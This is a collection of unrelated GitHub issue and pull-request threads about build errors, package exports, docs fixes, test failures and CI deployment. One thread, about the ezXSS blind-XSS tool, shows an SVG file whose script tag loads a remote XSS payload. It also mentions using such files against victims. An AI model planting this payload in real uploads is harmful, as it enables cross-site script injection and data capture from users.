Split install guide into Windows 10 and cross-platform pages.

This PR addresses a common confusion about which set of install instructions to follow by clarifying that the Visual Studio 2017 instructions are Windows 10 only, and that the Visual Studio Code / command-line instructions are cross-platform. In particular, the install guide is now separated entirely into two distinct pages, with a selection page that presents readers with screenshots from supported operating systems to emphasize the split.
Still TODO: emphasize range of supported versions for VS 2017, and explain the difference between VS 2017 and VS Code.

:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/install-guide/vs-2017.md
:warning:Warning

Details

articles/install-guide/vs-code.md
:warning:Warning

Details

articles/quantum-InstallConfig.md
:warning:Warning

Details

articles/TOC.yml
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-2017.png
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-code.png
:white_check_mark:Succeeded

articles/install-guide/vs-2017.md

[Warning] Author chgranad cannot be recognized in GitHub.

articles/install-guide/vs-code.md

[Warning] Author chgranad cannot be recognized in GitHub.

articles/quantum-InstallConfig.md

Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-code.png).
Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-2017.png).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

+Krysta as she just went through this and might have some more feedback.

:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/install-guide/vs-code.md
:warning:Warning

Details

articles/quantum-InstallConfig.md
:warning:Warning

Details

articles/TOC.yml
:white_check_mark:Succeeded

articles/install-guide/vs-2017.md
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-2017.png
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-code.png
:white_check_mark:Succeeded

articles/install-guide/vs-code.md

[Warning] Author cgranad cannot be recognized in GitHub.

articles/quantum-InstallConfig.md

Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-code.png).
Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-2017.png).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/install-guide/vs-code.md
:warning:Warning

Details

articles/quantum-InstallConfig.md
:warning:Warning

Details

articles/TOC.yml
:white_check_mark:Succeeded

articles/install-guide/vs-2017.md
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-2017.png
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-code.png
:white_check_mark:Succeeded

articles/install-guide/vs-code.md

[Warning] Author cgranad cannot be recognized in GitHub.

articles/quantum-InstallConfig.md

Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-code.png).
Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-2017.png).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

:x: Validation status: errors

File
Status
Preview URL
Details

:x:Error

Details

[Error] Cannot sync git repo to specified state. Please make sure the pull request is mergeable. Details: Git merge results in conflict, repository remote url: https://github.com/MicrosoftDocs/quantum-docs-pr, working directory: W:\flka-s, target branch: master, target branch commit: 178992d34bf53664dd9efd0b5a410cdf4ed35faf, source branch: cgranade/split-install-guide, source branch commit: .

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

:x: Validation status: errors

File
Status
Preview URL
Details

:x:Error

Details

[Error] Cannot sync git repo to specified state. Please make sure the pull request is mergeable. Details: Git merge results in conflict, repository remote url: https://github.com/MicrosoftDocs/quantum-docs-pr, working directory: W:\ikbb-s, target branch: master, target branch commit: 178992d34bf53664dd9efd0b5a410cdf4ed35faf, source branch: cgranade/split-install-guide, source branch commit: .

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/install-guide/command-line.md
:warning:Warning

Details

articles/install-guide/vs-code.md
:warning:Warning

Details

articles/quantum-InstallConfig.md
:warning:Warning

Details

articles/TOC.yml
:white_check_mark:Succeeded

articles/install-guide/vs-2017.md
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-2017.png
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-code.png
:white_check_mark:Succeeded

articles/install-guide/command-line.md

[Warning] Author cgranad cannot be recognized in GitHub.

articles/install-guide/vs-code.md

[Warning] Author cgranad cannot be recognized in GitHub.

articles/quantum-InstallConfig.md

Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-code.png).
Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-2017.png).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Thanks for the feedback, @anpaz-msft, and my apologies for dropping the ball. At any rate, I think that other than the screenshot suggestion, adding a third split to the install guide should help make it more explicit that we support the command line in whatever editor a user might prefer, while still focusing on our efforts to provide good integration for VS Code. If you could give it another look, I'd really appreciate it. Thanks!

My apologies for forgetting to add the new page to the TOC, that should be fixed now.

:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/install-guide/command-line.md
:warning:Warning

Details

articles/install-guide/vs-code.md
:warning:Warning

Details

articles/quantum-InstallConfig.md
:warning:Warning

Details

articles/TOC.yml
:white_check_mark:Succeeded

articles/install-guide/vs-2017.md
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-2017.png
:white_check_mark:Succeeded

articles/media/install-guide-select-vs-code.png
:white_check_mark:Succeeded

articles/install-guide/command-line.md

[Warning] Author cgranad cannot be recognized in GitHub.

articles/install-guide/vs-code.md

[Warning] Author cgranad cannot be recognized in GitHub.

articles/quantum-InstallConfig.md

Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-code.png).
Line 0: [Warning] Invalid file link:(~/media/install-guide-select-vs-2017.png).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Enable Identity column SQLConf

Which Delta project/connector is this regarding?

[x] Spark
[ ] Standalone
[ ] Flink
[ ] Kernel
[ ] Other (fill in here)

Description
This PR is part of https://github.com/delta-io/delta/issues/1959
In this PR, we flip the SQLConf that guards the creation of Identity Column from false to true. Without this, we cannot create identity columns in Delta Spark!
How was this patch tested?
Existing tests pass.
Does this PR introduce any user-facing changes?
Yes, it enables the creation of Identity Columns.

@allisonport-db can you help backport this into Delta 3.3?


Build Failed

Hi, I am having some trouble running the breadwallet-android project in Android Studio.  I get the following error:
A build operation failed.
C compiler failed while compiling BRBIP32Sequence.c.
Information:Gradle tasks [:app:assembleDebug]
Information:(Unknown) In file included
C:\wallet\breadwallet-android\app\src\main\jni\breadwallet-core\BRBIP32Sequence.h
Error:(76, 83) error: unknown type name 'va_list'
Information:(Unknown) In file included
C:\wallet\breadwallet-android\app\src\main\jni\breadwallet-core\BRCrypto.h
C:\wallet\breadwallet-android\app\src\main\jni\breadwallet-core\BRBIP32Sequence.c
Error:Execution failed for task ':app:compileCoreArm64-v8aDebugSharedLibraryCoreArm64-v8aDebugSharedLibraryMainC'.

A build operation failed.
C compiler failed while compiling BRBIP32Sequence.c.
See the complete log at: file:///C:/wallet/breadwallet-android/app/build/tmp/compileCoreArm64-v8aDebugSharedLibraryCoreArm64-v8aDebugSharedLibraryMainC/output.txt
Information:BUILD FAILED
Information:Total time: 12.65 secs
Information:2 errors
Information:6 warnings
Information:See complete output in console

Any help would be greatly appreciated
Jomnes

va_list is part of the Android toolchain, please make sure you have android toolchain installed or updated.

Hi, I was able to get it working by hovering over va_list and pressing Alt+Enter.


Add package.json exports map

I'm having trouble using this package with SvelteKit. Listing algoliasearch as svelte-algolia dependency and then attempting to import the latter leads to:
[vite] Error when evaluating SSR module /node_modules/.pnpm/algoliasearch@4.12.0/node_modules/algoliasearch/lite.js?v=f431d156: ReferenceError: module is not defined

See https://github.com/janosh/svelte-algolia/issues/3 for details.
The error disappears when importing dist/algoliasearch-lite.esm.browser directly.
import algoliasearch, { SearchClient } from 'algoliasearch/dist/algoliasearch-lite.esm.browser'

but then TS complains
Cannot find module 'algoliasearch/dist/algoliasearch-lite.esm.browser' or its corresponding type declarations.ts(2307)

I think an easy fix to both these issues would be to add an exports map to your package.json in addition to the browser and files fields:
  "browser": {
    "./index.js": "./dist/algoliasearch.umd.js",
    "./lite.js": "./dist/algoliasearch-lite.umd.js"
  },
  "types": "index.d.ts",
  "files": [
    "dist",
    "index.js",
    "index.d.ts",
    "lite.js",
    "lite.d.ts"
  ],
  "exports": {
    "./lite": "./dist/algoliasearch-lite.esm.browser.js",
    // ...
  },

as that's what Vite and presumably other ESM bundlers are looking for.

Adding the exports is interesting, but a breaking change, as exports are all possible files you can use, not just a few you can map.
It probably would be interesting to make typescript generate definitions for the algoliasearch-lite.esm.browser build as well (maybe can even be copied from another file?)

Adding the exports is interesting, but a breaking change, as exports are all possible files you can use, not just a few you can map.

Yes, I meant all files. Is that a problem? The package tree seems small enough:
├── README.md
├── dist
│   ├── algoliasearch-lite.d.ts
│   ├── algoliasearch-lite.esm.browser.js
│   ├── algoliasearch-lite.umd.js
│   ├── algoliasearch.cjs.js
│   ├── algoliasearch.d.ts
│   ├── algoliasearch.esm.browser.js
│   └── algoliasearch.umd.js
├── index.d.ts
├── index.js
├── lite.d.ts
├── lite.js
└── package.json

Maybe an ESM only version of algoliasearch would be another option? Seen some people advocate against dual ESM/CJS packages.

 We need to do a bit of investigation on how to adapt the exports key to match both our browser and node builds (probably conditional exports).
Do you have a simple reproduction available?

@shortcuts The reproduction used to be at https://github.com/kenjonespizza/svelteKit-svelte-algolia-test but I think @kenjonespizza deleted it.
I tried just now to recreate the error myself but didn't manage.
Do you still have the repo locally by any chance, @kenjonespizza?

Ah, I managed to see the error again.
It's not exactly a minimal reproduction but if you clone this branch
https://github.com/janosh/afara/tree/algolia-error

install deps and run npm/yarn/pnpm dev, you should see:
svelte-kit dev
Pre-bundling dependencies:
  svelte
  svelte/store
  svelte/animate
  js-yaml
  svelte/transition
  (...and 5 more)
(this will be run only when your dependencies or config have changed)

  SvelteKit v1.0.0-next.282

  local:   http://localhost:3000
  network: not exposed

  Use --host to expose server to other devices on this network

7:55:29 PM [vite] Error when evaluating SSR module /node_modules/algoliasearch/index.js?v=b6e66fba:
ReferenceError: require is not defined
    at /node_modules/algoliasearch/index.js?v=b6e66fba:2:23
    at instantiateModule (/Users/janosh/Repos/afara/node_modules/vite/dist/node/chunks/dep-971d9e33.js:56177:15)

Hi!  I got this back up.  I took down originally because I wasn't sure if env vars should be private... but I want this to be easy for you all to recreate. So, maybe just let me know if those vars should be private and I'll re-roll them in my test account 😅
https://github.com/kenjonespizza/svelteKit-svelte-algolia-test
The error I get is:
ReferenceError: module is not defined
    at /node_modules/algoliasearch/lite.js?v=94cfd32a:2:1
    at instantiateModule (/Users/ken_docs/www/public/svelteKit/svelteKit-svelte-algolia-test/node_modules/vite/dist/node/chunks/dep-971d9e33.js:56177:15)```

After upgrading to latest SvelteKit that requires vite3, I'm getting this error on build:
/[projectName]/node_modules/.pnpm/algoliasearch@4.14.2/node_modules/algoliasearch/dist/algoliasearch.esm.browser.js:2221
export default algoliasearch;
^^^^^^

SyntaxError: Unexpected token 'export'
....

I'm importing algoliasesrch via import algoliasearch from "algoliasearch/dist/algoliasearch.esm.browser";
I'm assuming this is related?

I'm getting a similar error with the 5.0.0 alpha client:
import { algoliasearch } from 'algoliasearch';
^^^^^^

TypeError: Cannot read properties of undefined (reading 'default')
    at /src/hooks.server.ts:9:13
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async instantiateModule (file:///node_modules/vite/dist/node/chunks/dep-5e7f419b.js:52224:9)

I'm a little stumped by this. The module doesn't seem to have any export at all?

Thinking to drop algolia for Qwik docs, this issue needs to be fixed asap!


Error when dragging nodes out of view.

In the latest release (https://github.com/MrBlenny/react-flow-chart/releases/tag/0.0.12) if a node is dragged "offscreen" an "Unable to find node on an unmounted component." is triggered.
This only occurs when the node is dragged offscreen, not when the canvas is dragged.
It can be reproduced on https://mrblenny.github.io/react-flow-chart/index.html?path=/story/sidebar--drag-and-drop by dragging the node behind the sidebar.
I've experienced this in my project as well as in the storybook. I've included a development stack trace below. Using version 0.0.11 I don't experience this issue.
Canvas scale is initialised to 1.

@lukewarlow if you're not using the zoom feature (and an external state), I guess that it will be solved initializing the chart state with the scale attribute to "1".
e.g.
  offset: {
    x: 0,
    y: 0,
  },
  scale: 1,
  nodes: {},
  links: {},
  selected: {},
  hovered: {},
}```

The real bug is "Error when dragging nodes out of view if scale not set to '1'".
Maybe the canvas is not resizing 🤔?

You can reproduce this issue in the Storybook, setting a zoom in/out (easier to see with zoom out):
https://mrblenny.github.io/react-flow-chart/index.html?path=/story/other-config--zoom

I have this error with the chart scale set to 1. The rendering issue when zooming out is a separate issue.

OK @lukewarlow ! I will create a new one.  I thought that was the same because I have the same error --> "Unable to find node on an unmounted component."

@georginaso they're potentially linked. I tried debugging older commits to see when it was introduced but none of them would let me build the storybook.

I was getting the nodes not displaying but was not getting an error thrown. The display issue should be fixed here.
https://github.com/MrBlenny/react-flow-chart/commit/cc7f02f02fa0a18dad5d304189e02bea36ad6535

@MrBlenny this issue has not been fixed, this issue is related to dragging nodes out of view such as behind a sidebar.


ezXSS script doesn't work in SVG files

Hi,
ezXSS script throws the Uncaught (in promise) Invalid element provided as first argument JS error in SVG files.
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" baseProfile="full">
  <script type="text/javascript" xlink:href="https://domain/"/>
</svg>

Other blind XSS apps work fine in SVGs.

Hi,
The example you have provide doesn't produce that error in my tries. It also doesn't even call the provided url. Same goes for any other 'XSS app' I've tried.
Could you provide more info? Browser? ezXSS version? any data that I can debug this with?

Also, 'Uncaught (in promise) Invalid element provided as first argument' can only be an error from html2canvas, which is the library used to make screenshots. Disabling screenshots on your payload should remove that error.
Please note that while screenshots are great, this does not work as great on all websites and there is a small chance it breaks the payload on certain sites. Especially when you payload using svg. Hence why screenshots are disabled by default.

Please still provide me with more information like the website u tested on, your ezXSS version, your browser, and anything else that can help. There might be a fix to the error breaking the callback, but I guess this is more a problem of html2canvas and not ezXSS.

I'm in the latest version and Chrome, change the https://domain/ to the ezXSS domain, save the code as an SVG file, and open it.

Fixed it fully in https://github.com/ssl/ezXSS/commit/4d262cfab3844950b4be66658795445c4f5df997
Thanks.

LGTM but I've noticed the script calls file://ezxss.domain/callback as we use //domain/callback in the script. So the script doesn't work if the protocol is not http or https. I don't know how you can fix this but I've reported some blind XSS bugs when the victim opened the SVG/HTML file that I uploaded.

Because I've changed https:// to // to also work on http only installations. I didn't though about file: protocol and such tho.
Fixed in https://github.com/ssl/ezXSS/commit/8e103f6f979c474f66a0950634bfca2e89472fae

Perfect, thank you 🙌

Why do I have multiple CORS headers, do you have any guesses? 😄

Nope, it seems the Nginx config also sets these headers.

Nope, it seems the Nginx config also sets these headers.

Ah, you use nginx. The headers need to be removed from the nginx example, I removed them in https://github.com/ssl/ezXSS/commit/c006cf1e8735e7086e11667e70ee5d65b8f7210b since they are not needed anymore.

Yup, I removed them in mine too. Thank you! You can close the issue. 🙂

Awesome. Thanks for helping out improving ezXSS :)


Tests are not passing

I ran into an issue with eruby filetypes and thought I'd try to contribute, although I am having issues getting the existing tests to fully pass.  I have cloned nvim-treesitter, playground, and plenary and the tests run, but some are failing.  Could there be something else I'm missing or should they truly not all pass currently?
I am running 'make' at the nvim-ts-autotag root.  (plugins are cloned in ../ like referenced in the minimal.vim)
I'm currently getting closetag_spec at 10 successes, 8 failures, and rename_spec at 3 successes, 10 failures.
Just wanted to get a baseline on what should be expected in the tests before starting.  Thanks for your help and for your work on this plugin and others I use.

I am very sorry for wasting your time with this.  It turned out the issue was that I did not run TSInstall after cloning the local treesitter plugin.  Once I ran ':TSInstall maintained' using the minimal.vim all tests passed.
Again, thank you for your time and I apologize for not trying that beforehand.
For anyone else in the future, I had to do the following:
git clone http://github.com/windwp/nvim-ts-autotag
git clone http://github.com/nvim-treesitter/nvim-treesitter
git clone http://github.com/nvim-lua/plenary.nvim
git clone http://github.com/nvim-treesitter/playground

cd nvim-ts-autotag
nvim --noplugin -u tests/minimal.vim

:TSInstall maintained
:q

make


Make it available via browser

You could make the app available via browser and githubpages, I remember I did it with https://suoko.github.io/mapboxnav

Like a PWA manifest you mean?

Like a PWA manifest you mean?

yes, the app is already running as a PWA (maybe it's leaning too far out of the window) but i don't know how to transfer the data between the app on the phone and the app on the desktop browser. first i tried a qr code, but the camera on the phone is too bad to read so much data.

yes, the app is already running as a PWA (maybe it's leaning too far out of the window) but i don't know how to transfer the data between the app on the phone and the app on the desktop browser. first i tried a qr code, but the camera on the phone is too bad to read so much data.

@strukturart  can I use your app using Firefox on android just following a link?

@strukturart  can I use your app using Firefox on android just following a link?

no, because the app is not yet online on any server. you are welcome to do it. however, the app has no special features except that it runs on kaiOs.

I always wanted to do something like this https://github.com/ffwdme/ffwdme.js/blob/master/README.md
That would be nice for kaios

I always wanted to do something like this https://github.com/ffwdme/ffwdme.js/blob/master/README.md
That would be nice for kaios

https://strukturart.github.io/o.map/


Support for other CI

If you want to support other CIs besides Travis, write here.
We can transform this project to be modular with a module for every supported CI, or create other project for different CI.

#3

#3

Gitlab on issue #3


[docs]: Set option devServerTarget

https://testcafe.io/documentation/402793/recipes/integrations/use-angular-cli-builder#configuration-example
It needs to assign devServerTarget in both examples of this page
...
"options" : {
  "devServerTarget": "my-project:serve",
  ...
}
...

Also in the topic 'Configure a Target in the Angular Workspace' we should notice something like that:
"It needs to assign "devServerTarget": "<project-name>:serve" to automatically start a server, otherwise the server must be started by hands

The snippets and the description have been updated. It may take a while for the website to reflect these changes.


internals: find_file: avoid NameError: use 'filename', not 'name'

See GitHub issue#217.  Problem introduced in commit 79ffc657 "new
find_file method, sligtly more flexible than find_binary".

Thanks, missed this during my refactor.

On 02/11/2012 09:55 PM, Morten M. Neergaard wrote:

Thanks, missed this during my refactor.

Thank you for the quick merge.
Stefano


driver: set default downloading timeout to 120s

It didn't stop at the 2-minute mark, so perhaps I should also set connect_timeout. And if it failed to connect to github.com, it could be a DNS issue?

connect_timeout is a good call, yeah.

So it can download v0.4.0 and start testing but not v0.5.1.

Tests that passed:
start_link

test/adbc_connection_test.exs:13
test/adbc_connection_test.exs:18
test/adbc_connection_test.exs:26
test/adbc_connection_test.exs:34

query

test/adbc_connection_test.exs:170

Tests that failed:
they all failed with error message vector subscript out of range

get_info

test/adbc_connection_test.exs:44
test/adbc_connection_test.exs:65

get_objects

test/adbc_connection_test.exs:87

get_table_types

test/adbc_connection_test.exs:143

query

test/adbc_connection_test.exs:153
test/adbc_connection_test.exs:163

lock

test/adbc_connection_test.exs:190
test/adbc_connection_test.exs:199
test/adbc_connection_test.exs:211
test/adbc_connection_test.exs:228


Use AWS_PROFILE instead of credentials

This PR makes AWS_PROFILE created by maws to be useful inside docker-compose

Just do $ maws
export given AWS_PROFILE
launch docker-compose

run integration tests


Server does not respond if no nostr key is set

Debug if failure on start or later

I miss understood how the config options worked, assumed that it would be none if not present in config file. But it is Some with an inter type. Fixed by #6


Databricks parquetFilters api change in db 8.2 runtime

21.06 version of Fix for #3191
parquet tests pass on branch-21.06 running on databricks 8.2 runtime
Signed-off-by: Thomas Graves<EMAIL_ADDRESS>

build


Changing statusCode from required to optional

I  noticed that sometimes the SSL Labs server responds with a JSON result including a 'null' value for the statusCode field. This change is to reflect this possible response.
Note that this is a breaking change for any existing .NET applications, they should now use .StatusCode.Value instead of .StatusCode if they need the (int) value instead of the (int?) value.

It is breaking - but it's probably fine. The docs don't mention it being optional, but otoh they don't mention anything as optional / required.

Version 1.1.0 has been pushed to nuget.

Hi,
Thanks, I have implemented this version in my client, and so far didn't get
the serialization error anymore.
BTW for me the change turned out to be non-breaking since I didn't actually
use the changed statusCode property in my code. But this might be different
for other users.
Met vriendelijke groet,
Jeroen Mineur
This communication is intended for the person(s) named above only. It
contains information that is confidential and legally privileged. If
received in error, please delete this e-mail and notify the sender.
On Fri, 2 Aug 2024 at 11:38, Michael Bisbjerg @.***>
wrote:

Version 1.1.0 has been pushed to nuget.
—
Reply to this email directly, view it on GitHub
https://github.com/LordMike/MBW.Client.SslLabsLib/pull/2#issuecomment-2264978272,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BKHHJ4YE6QRHJXNEEBIZXUTZPNHTDAVCNFSM6AAAAABLYCX6YWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDENRUHE3TQMRXGI
.
You are receiving this because you authored the thread.Message ID:
@.***>


The docs and the starter project seem to disagree about putting everything in html tags in layouts.

📚 Subject area/topic
layouts
📋 Page(s) affected (or suggested, for new content)
https://docs.astro.build/en/basics/layouts/
📋 Description of content that is out-of-date or incorrect
In the docs about layouts, it says "However, if a layout component does contain a page shell, its  element must be the parent of all other elements in the component. All

Thanks for bringing this up and I'll look into it! I know at one point we had a technical restriction that caused us to add that line to docs, but the basics template is brand new for v5 and maybe that restriction doesn't exist anymore?


Spacy Entity Extractor Test Fails / Needs Fixing

Rasa version:
0.15.0a4
Python version:
3.6.7
Operating system (windows, osx, ...):
Windows 10
Issue:

Info about spaCy

spaCy version      2.0.12
Location           C:\Users\gwerner004\AppData\Local\Programs\Python\Python36\lib\site-packages\spacy
Platform           Windows-10-10.0.16299-SP0
Python version     3.6.7
Models             en

With the above Spacy version, the function test_spacy_ner_extractor finds 0 entities.  The utterance which is currently present in that test file and used for testing is

anywhere in the West

which supposed to return West as a Loc, but it doesn't.  If I change "West" to be "Utah" and then entity type of "GPE", the test will pass.  Therefore, the utterance appears to not work with current spacy model and a more straightforward and obvious entity needs to be picked for test case, something that is highly unlikely to fail.
Content of configuration file (config.yml):
NA, because I am running unit tests

Content of domain file (domain.yml) (if used & relevant):

Also, let me throw out, the testing methodology for that spacy entity extractor could also change.  Certainly one could argue that replacing one entity with another is fragile.

how are you testing this? We actually don't test spacy entity extraction because it's fixed and therefore changing your training data won't have any influence over it

Using pytest.  The assertion fails because 0 entities are seen in the given utterance.
I wrote a similar unit test for another ner tool (not included in the the rasa distribution) in the same manner and that passed.

ok could you paste the code of your test?

As is, with the last line I give the line where the assertion error is because 0 entities are present:
`def test_spacy_ner_extractor(component_builder, spacy_nlp):
_config = RasaNLUModelConfig({"pipeline":
[{"name": "SpacyEntityExtractor"}]})
ext = component_builder.create_component(_config.for_component(0), _config)
example = Message("anywhere in the West", {
"intent": "restaurant_search",
"entities": [],
"spacy_doc": spacy_nlp("anywhere in the west")})
ext.process(example, spacy_nlp=spacy_nlp)
assert len(example.get("entities", [])) == 1`

Now continuing on with the test here is one way to get the test to pass:
`def test_spacy_ner_extractor(component_builder, spacy_nlp):
_config = RasaNLUModelConfig({"pipeline":
[{"name": "SpacyEntityExtractor"}]})
ext = component_builder.create_component(_config.for_component(0), _config)
example = Message("anywhere in Utah", {
"intent": "restaurant_search",
"entities": [],
"spacy_doc": spacy_nlp("anywhere in Utah")})
ext.process(example, spacy_nlp=spacy_nlp)
assert len(example.get("entities", [])) == 1
assert example.get("entities")[0] == {
    'start': 12,
    'extractor': 'SpacyEntityExtractor',
    'end': 16,
    'value': 'Utah',
    'entity': 'GPE',
    'confidence': None}

`
Note that the second test in the function, the filtering one, still passes because it does not require West to be correctly recognized as an entity.

@demongolem ok and does an entity get picked up for West when you talk to your bot as usual? It might just be that the spacy extractor doesn't recognise that as an entity.

I am not sure because my company only uses the Rasa NLU component.  Certainly we can say though that the Spacy extractor does not pick it up.

then in that case this is not a bug, but behaviour of the spacy model. If you think this is an issue, please raise on on the spacy repository

But the point is that there is a test that fails in the Rasa repository and it is ludicrous to have this test.  Something needs to be done, perhaps remove this test, because how is it testing Rasa?

i'm a little confused, could you link to the test in the repo? because our builds are passing so i'm not sure what you mean that it's failing

Well I have a feeling what we surmised is probably correct.  The spacy ner extractor fails to pick out the required entity, but at a different stage in the flow the West is somehow picked up as an entity and life is good.  So then we are testing on different levels, myself at a lower (per file) level and the tests you talk about at a higher level.  I will try to see how this higher level testing occurs and then duplicate the passing behavior.

yeah please let us know


flake8 cleanup for crawlutils.py and unit tests for snapshot()

Signed-off-by: Ricardo Koller<EMAIL_ADDRESS>

Current coverage is 90.79% (diff: 74.46%)

Merging #152 into master will increase coverage by 0.55%

@@             master       #152   diff @@
==========================================
  Files            22         22
  Lines          2447       2454     +7
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits           2208       2228    +20
+ Misses          239        226    -13
  Partials          0          0

Powered by Codecov. Last update daf54fb...56c8352


Revamp scaling syntax

Purpose

Revamp scaling syntax

Codecov Report

Merging #481 into master will decrease coverage by 0.01%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master     #481      +/-   ##
==========================================
- Coverage    82.3%   82.28%   -0.02%
==========================================
  Files          29       29
  Lines         904      903       -1
  Branches       75       75
==========================================
- Hits          744      743       -1
  Misses        107      107
  Partials       53       53

Impacted Files
Coverage Δ

...ang/src/main/java/io/cellery/CelleryConstants.java
66.66% <ø> (ø)
:arrow_up:

...src/main/java/io/cellery/impl/CreateCellImage.java
86.76% <100%> (-0.04%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 83c0a5a...4d0f1cf. Read the comment docs.


"Missing builds extension" error when extension-less file generated by webpack

When webpack outputs a file without an extension, even if that file is not in the wrhs.toml, bffs outputs an error "Missing builds extension" and the build fails.
https://github.com/warehouseai/bffs/blob/84354709fc0dc909341d72fed1466b46b130f655/index.js#L290
The workaround is ensuring that all built files have an extension.

Also that error (and the ones nearby) should show the filename that failed.

In terms of insuring that the built files have an extension, that seems like it should be an issue on the builder vs bffs.

Based on #19 I'd say this issue is fixed and new issue should be opened against the worker?

Fine by me. Want to file that new issue and close this?


Styled form using SemanticUI; added search word field

Added SemanticUI, JQuery, and logo.png
Referred to http://semantic-ui.com/examples/login.html
Favicon; title; header with logo and project name; Made with <3 footer
Three fields, with icons, data validation for two

@yoninachmany why don't we use a compressed image like a JPEG?

Also make sure to remove all the files we aren't using

This looks good. I eventually want to add the gmail-like word separation feature but it can be on another PR.


modules addition in basic training

@FriederikeHanssen do you think we can merge this PR until the retreat? Independent of how far we come, because then we could show one preview page instead of several PRs.

@nf-core-bot fix linting please :)


Deploy stage fails with "[ERROR]: Failed to deploy"

Before opening, please confirm:

[X] I have checked to see if my question is addressed in the FAQ.
[X] I have searched for duplicate or closed issues.
[X] I have read the guide for submitting bug reports.
[X] I have done my best to include a minimal, self-contained set of instructions for consistently reproducing the issue.

App Id
dm6pmstqyhyh5
Region
eu-west-2
Amplify Hosting feature
Build settings, Previews
Describe the bug
The Provision, Build and Test phases of our previews are all passing for pr-15 which needs to go into Master; I can confirm that the tests pass because I can download the test artifacts from the preview and see the Playwright traces of exactly what happened when the tests ran. The issue is, when the Deploy stage starts, it immediately fails and the only thing that gets logged is:
2022-06-13T08:40:25 [INFO]: Starting Deployment
2022-06-13T08:40:25 [ERROR]: Failed to deploy

I've searched for a resolution but all I could find of any relevance really was this issue which was supposedly resolved and wasn't down to the reporter's human error, so it doesn't help us much.
Expected behavior
The deploy stage should pass, allowing the verification stage to begin.
Reproduction steps
Not really reproducible for anyone not working on our specific project. For us, we simply attempt to redeploy pr-15. The likelihood is, if there's any human error, it's in the amplify.yml file so please take a look and see if there's anything wrong there.
Build Settings
version: 1
backend:
  phases:
    build:
      commands:
        - '# Execute Amplify CLI with the helper script'
        - amplifyPush --simple
frontend:
  phases:
    preBuild:
      commands:
        - npm ci
    build:
      commands:
        - npm run build
  artifacts:
    # IMPORTANT - Please verify your build output directory
    baseDirectory: /dist
    files:
      - '**/*'
  cache:
    paths:
      - node_modules/**/*
test:
  phases:
    preTest:
      commands:
        - echo fs.inotify.max_user_watches=65536 | tee -a /etc/sysctl.conf && sysctl -p
        - npm ci
        - npm install pm2
        - npx pm2 start npm -- start
        - npm i -D @playwright/test
        - npx playwright install
    test:
      commands:
        - npx playwright test
    postTest:
      commands:
        - npx pm2 kill
  artifacts:
    baseDirectory: /test-results
    files:
      - '**/*'

Additional information
No response

Hi @hloriana,
I see you've assigned this to yourself. I don't suppose you've had chance to take a look at this, have you?
Thanks,
Mathew

Hi @mathewr94 👋🏽 yes we are investigating the failed deploy, I'm currently syncing with the team to determine what caused the deploy failure. I will have an update for you shortly.

It looks like your most recent build (build 22) had successful deployment. Are you still running into this issue?

Hi @hloriana
It only succeeds because I have commented out all of the test stage in the amplify.yml build settings file. Ultimately, I would like to be able to uncomment this and have the automated Playwright tests run as part of the Amplify flow.
Is it possible for you try and identify the issue? Or will I need to uncomment the test phase again for you?
Thanks,
Mathew

Hi again @hloriana
Apologies for really going at you on this one but I think it would be great for the Playwright community for this issue to be resolved. I'm sure I won't be the only person with this issue in the future and this could be just what someone is hoping for when they search for a resolution to their AWS amplify / Playwright integration issue.
Please could you take a look into this again?
Thanks,
Mathew

Hi @hloriana
I'm not sure why you haven't looked at this but if you don't have the time, etc. please could you assign it to someone who might be able to investigate?
Thanks,
Mathew

Hi @mathewr94, thank you for your continued patience and apologies on the delayed response on this issue. Unfortunately, we currently only support the Cypress testing framework for E2E tests with Amplify. We are actively working on updating our docs to reflect the same.
We have created a feature request for this here: #2857
Please feel free to add your feedback to it.


Can we build iOS project in Jenkins by using docker in fastlane.

Question Checklist

[x] Updated fastlane to the latest version
[x] I read the Contribution Guidelines
[x] I read docs.fastlane.tools
[x] I searched for existing GitHub issues

Question Subject
  docker inside  Jenkins can we use fast lane code to build iOS project
[ no,
 yes]
Question Description
